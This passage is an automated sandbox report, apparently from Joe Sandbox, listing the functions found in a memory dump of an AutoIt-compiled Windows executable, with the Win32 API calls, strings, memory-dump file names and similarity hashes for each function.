SendMessageW.USER32(00000000,?,00000111,?), ref: 00411F8E
GetDlgCtrlID.USER32(?), ref: 00411F97
GetParent.USER32(?), ref: 00411FAB
SendMessageW.USER32(00000000,?,00000111,?), ref: 00411FAE

Strings

ComboBox, xrefs: 00411EEC
ListBox, xrefs: 00411F21

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: f92f4d9331747a1e6b21f549129720ff6fe8f05031315609bf7c53794a8bdfcf
Instruction ID: 247a213db70bdca6e8895c472f69def259fa08d9cbe3b407615e3bec099e5a1e
Opcode Fuzzy Hash: f92f4d9331747a1e6b21f549129720ff6fe8f05031315609bf7c53794a8bdfcf
Instruction Fuzzy Hash: 23210474900214BFCF01AFA0CC84EFEBBB8EF06300F104156FA65A72A1DB785949CB68

Function 00411FC0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00412043
GetDlgCtrlID.USER32 ref: 0041204E
GetParent.USER32 ref: 0041206A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0041206D
GetDlgCtrlID.USER32(?), ref: 00412076
GetParent.USER32(?), ref: 0041208A
SendMessageW.USER32(00000000,?,00000111,?), ref: 0041208D

Strings

ComboBox, xrefs: 00411FCD
ListBox, xrefs: 00412002

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_wcslen
String ID: ComboBox$ListBox
API String ID: 711023334-1403004172
Opcode ID: 14cd6c35c6832cc5cd6534860beb432fa4beef8edad7d317792f30c6ae174386
Instruction ID: 6f14738b99a4307300088dcc305769a22dbf21c74230cc4226573bc29651e766
Opcode Fuzzy Hash: 14cd6c35c6832cc5cd6534860beb432fa4beef8edad7d317792f30c6ae174386
Instruction Fuzzy Hash: 6B210175900218BBCF01AFA0CC85FFEBFB8EF09304F104016BA55A72A1DAB94954CB68

Function 0041B12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0041B151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B165
GetWindowThreadProcessId.USER32(00000000), ref: 0041B16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 0041B18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,0041A1E1,?,00000001), ref: 0041B21D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 98aceb2023e2b03280c4016b28741d3a645369e2ee7da7509560b5b45b94a91f
Instruction ID: ee35be9c631e8ded748611bde930762140f6dd5543dacac29b77e71249557dd2
Opcode Fuzzy Hash: 98aceb2023e2b03280c4016b28741d3a645369e2ee7da7509560b5b45b94a91f
Instruction Fuzzy Hash: 5731F775140204BFDB10AF64DC98FAE7B69FB12756F15842AF900C6350C7789D808FAC

Function 003E2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003E2C94

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003E2CA0
_free.LIBCMT ref: 003E2CAB
_free.LIBCMT ref: 003E2CB6
_free.LIBCMT ref: 003E2CC1
_free.LIBCMT ref: 003E2CCC
_free.LIBCMT ref: 003E2CD7
_free.LIBCMT ref: 003E2CE2
_free.LIBCMT ref: 003E2CED
_free.LIBCMT ref: 003E2CFB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9a23871e58a0950978b7bb969e586b823647ee7ddf109d6eb8286d812fc9e378
Instruction ID: 4e54f6e178d637ff9891cbc39880c9992fd088c9b31243c7234b778e08da4cec
Opcode Fuzzy Hash: 9a23871e58a0950978b7bb969e586b823647ee7ddf109d6eb8286d812fc9e378
Instruction Fuzzy Hash: 4011C676100158AFCB03EF56D842CDE3BA9FF06350F4256A1F9485F262D735EA609B90

Function 00427DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00427FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00427FC1
GetFileAttributesW.KERNEL32(?), ref: 00427FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00428005
SetCurrentDirectoryW.KERNEL32(?), ref: 00428017
SetCurrentDirectoryW.KERNEL32(?), ref: 00428060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 004280B0

Strings

*.*, xrefs: 00428066

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: de9fa61857a1e3d8ff542d7d542a4e6c81d6b9bd294fb44438561094dee58c27
Instruction ID: e552c1732e8d5ce569333c5da216a77afa676a43dd8a41598c9210aea6d18cff
Opcode Fuzzy Hash: de9fa61857a1e3d8ff542d7d542a4e6c81d6b9bd294fb44438561094dee58c27
Instruction Fuzzy Hash: 4881B1726082119BCB20EF14D4409AFB3E8BF89314F95486FF985CB250DB78DD45CB6A

Function 00447E9E Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00E85938), ref: 00447F37
IsWindowEnabled.USER32(00E85938), ref: 00447F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0044801E
SendMessageW.USER32(00E85938,000000B0,?,?), ref: 00448051
IsDlgButtonChecked.USER32(?,?), ref: 00448089
GetWindowLongW.USER32(00E85938,000000EC), ref: 004480AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 004480C3

Strings

8Y, xrefs: 00447ED2, 00447F51, 00447FFF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID: 8Y
API String ID: 4072528602-2504371881
Opcode ID: 2ac210e78c02bd2fbc0b107be0761e96c768a6773b122ffe64ceb63203929799
Instruction ID: 32b5161e48c2e9c8e86352d62ec47178db82d7622dcf2e88801c1afff08c954b
Opcode Fuzzy Hash: 2ac210e78c02bd2fbc0b107be0761e96c768a6773b122ffe64ceb63203929799
Instruction Fuzzy Hash: F2717E74609204AFFB219F64C884FAFBBB9EF09300F14445BE95597361CB39AC4ADB18

Function 003B5BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 003B5C7A

Part of subcall function 003B5D0A: GetClientRect.USER32(?,?), ref: 003B5D30
Part of subcall function 003B5D0A: GetWindowRect.USER32(?,?), ref: 003B5D71
Part of subcall function 003B5D0A: ScreenToClient.USER32(?,?), ref: 003B5D99

GetDC.USER32 ref: 003F46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 003F4708
SelectObject.GDI32(00000000,00000000), ref: 003F4716
SelectObject.GDI32(00000000,00000000), ref: 003F472B
ReleaseDC.USER32(?,00000000), ref: 003F4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 003F47C4

Strings

U, xrefs: 003F4693

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: fc677e4840fa1e1bd99849b0ebf48d416cd19167d317f5c3bdbdb149a02bf807
Instruction ID: 73f95aa042ee5e0ecfb8a74948c7f89b8ded27e9a5270d7ccff9025375c113bc
Opcode Fuzzy Hash: fc677e4840fa1e1bd99849b0ebf48d416cd19167d317f5c3bdbdb149a02bf807
Instruction Fuzzy Hash: 4471F034400209DFCF239F64C984AFB7BB6FF4A364F19426AEE619A266C3318845DF50

Function 0042359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004235E4

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

LoadStringW.USER32(00482390,?,00000FFF,?), ref: 0042360A

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00423724
Line %d (File "%s"):, xrefs: 0042366B
^ ERROR, xrefs: 004236C9
Error: , xrefs: 004236EF
"%s" (%d) : ==> %s:, xrefs: 00423742

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 70911f7d097d8671c002683d02df5b056cb80a75759f2d145c53d37ff03436ad
Instruction ID: ed557dc14541cfcd92895bfae8ca71481c883f6a77a2774ac585c67867556fa0
Opcode Fuzzy Hash: 70911f7d097d8671c002683d02df5b056cb80a75759f2d145c53d37ff03436ad
Instruction Fuzzy Hash: 2551C271900219BBDF16EFA0DC82EEEBB79AF04305F54412AF605761A1DB381B89DF64

Function 00442DFD Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00442E1C
GetWindowLongW.USER32(?,000000F0), ref: 00442E4F
GetWindowLongW.USER32(?,000000F0), ref: 00442E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00442EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00442EE0
GetWindowLongW.USER32(?,000000F0), ref: 00442EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00442F0B

Strings

8Y, xrefs: 00442E00, 00442E34, 00442E69, 00442EA1, 00442EC5, 00442EFD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID: 8Y
API String ID: 2178440468-2504371881
Opcode ID: e1b51ef1aa60beff1142424ba78acdc36d09f5926ac5479b8a57195b28c1b1f9
Instruction ID: 283ac9d05af612a974fcbc18479ef03fec8b8ae3e3a15fcf3327bac82352ee13
Opcode Fuzzy Hash: e1b51ef1aa60beff1142424ba78acdc36d09f5926ac5479b8a57195b28c1b1f9
Instruction Fuzzy Hash: 83312634605150AFEB20CF58DD84F6A37E4FB4A710FA90166F9148F2B2CBB5AC41DB09

Function 0042C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0042C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0042C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0042C2CA
GetLastError.KERNEL32 ref: 0042C322
SetEvent.KERNEL32(?), ref: 0042C336
InternetCloseHandle.WININET(00000000), ref: 0042C341

Strings

, xrefs: 0042C2BB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: af3a75dcbad2805c5ad75cd35eb8354f93f7da6261cb191a61eba0fe73de84ca
Instruction ID: e348c8cf6aa10b71aa732f2fb69dfab264457aaab9c8feccf00bc1368b577dd3
Opcode Fuzzy Hash: af3a75dcbad2805c5ad75cd35eb8354f93f7da6261cb191a61eba0fe73de84ca
Instruction Fuzzy Hash: 3431D171600614AFD721DF65ACC4AAF7BFCEB09344B44892EF84693200DB78DC048BA9

Function 0041989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,003F3AAF,?,?,Bad directive syntax error,0044CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 004198BC
LoadStringW.USER32(00000000,?,003F3AAF,?), ref: 004198C3

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00419987

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 004198F1
Error: , xrefs: 00419955
Line %d:, xrefs: 00419912
Line %d (File "%s"):, xrefs: 0041992D
., xrefs: 0041996D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 07c5df791042ca0a78efca46b8540cd6f1e696f77ea5fecf34ec0f96ed1b1676
Instruction ID: 03a10761e1435c154a7af38fd6026092dc3e4568abe9caeae85ffdd255a0fbb0
Opcode Fuzzy Hash: 07c5df791042ca0a78efca46b8540cd6f1e696f77ea5fecf34ec0f96ed1b1676
Instruction Fuzzy Hash: 8221943190021EBBCF16AF90CC56FEE7775FF14304F04446AF6196A0A2EB359A58CB55

Function 0041209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 004120AB
GetClassNameW.USER32(00000000,?,00000100), ref: 004120C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0041214D

Strings

list, xrefs: 0041212F
smallicons, xrefs: 00412115
details, xrefs: 004120FB
largeicons, xrefs: 004120E1
SHELLDLL_DefView, xrefs: 004120CC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: f4c8f8e2adea624f590c1dafd8ab0099a133652bc223985371dd13d21640416f
Instruction ID: 1f82a89b7f70e028907161c72be3631bf386f394759235610ee798f9b37e2623
Opcode Fuzzy Hash: f4c8f8e2adea624f590c1dafd8ab0099a133652bc223985371dd13d21640416f
Instruction Fuzzy Hash: 0111E77B684707BAF605A620EC06DFB379CDB05324B304127FB08ED1D1EAE968A2551C

Function 003ECE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 003ECEB7
_free.LIBCMT ref: 003ECF22
_free.LIBCMT ref: 003ECF48
_free.LIBCMT ref: 003ECF71
_free.LIBCMT ref: 003ECFA9
_free.LIBCMT ref: 003ECFDA
_free.LIBCMT ref: 003ED01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 003ED09C
_free.LIBCMT ref: 003ED0B5

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: c1369ff1e188c9ab3dabe874fa340765a4426147c6d8e1c172b3de7623762ab3
Instruction ID: 54bf7503dce054ab4322565042f53205ac7bd2e78f317b81313191c3dffceb9f
Opcode Fuzzy Hash: c1369ff1e188c9ab3dabe874fa340765a4426147c6d8e1c172b3de7623762ab3
Instruction Fuzzy Hash: DF614B729143B4AFDB23AFB69881A6E7BD9AF05310F06476DF9409B2C2D7319D038750

Function 003C8B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00406890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 004068A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 004068B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 004068D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 004068F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,003C8874,00000000,00000000,00000000,000000FF,00000000), ref: 00406901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0040691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,003C8874,00000000,00000000,00000000,000000FF,00000000), ref: 0040692D

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 1769bc82d4f927854ccc7804c84dbc052a77c1cd677f968d82f22980f72316cd
Instruction ID: c2df7eed8063eb1a6917c19db08708874fb8feb9f5dc85e13520d49074141f56
Opcode Fuzzy Hash: 1769bc82d4f927854ccc7804c84dbc052a77c1cd677f968d82f22980f72316cd
Instruction Fuzzy Hash: 6F5186B0600209AFDB219F25CC95FAA7BB9EB48310F11452DF902E62A0DB74EE91CB54

Function 0042C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0042C182
GetLastError.KERNEL32 ref: 0042C195
SetEvent.KERNEL32(?), ref: 0042C1A9

Part of subcall function 0042C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0042C272
Part of subcall function 0042C253: GetLastError.KERNEL32 ref: 0042C322
Part of subcall function 0042C253: SetEvent.KERNEL32(?), ref: 0042C336
Part of subcall function 0042C253: InternetCloseHandle.WININET(00000000), ref: 0042C341

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 5802c32758a7eb6f27250652e35110b42b8dfed041e87d2ca7c9a99516d67b6e
Instruction ID: 9a116f9ed6499e3bc4153896711a465b7670d648ff2caa74dd56046b5da11722
Opcode Fuzzy Hash: 5802c32758a7eb6f27250652e35110b42b8dfed041e87d2ca7c9a99516d67b6e
Instruction Fuzzy Hash: 4831B075A01611EFDB208FA5EC84A7BBBE9FF15300B44442EF94683210DB35E8109FA5

Function 004125A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00413A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00413A57
Part of subcall function 00413A3D: GetCurrentThreadId.KERNEL32 ref: 00413A5E
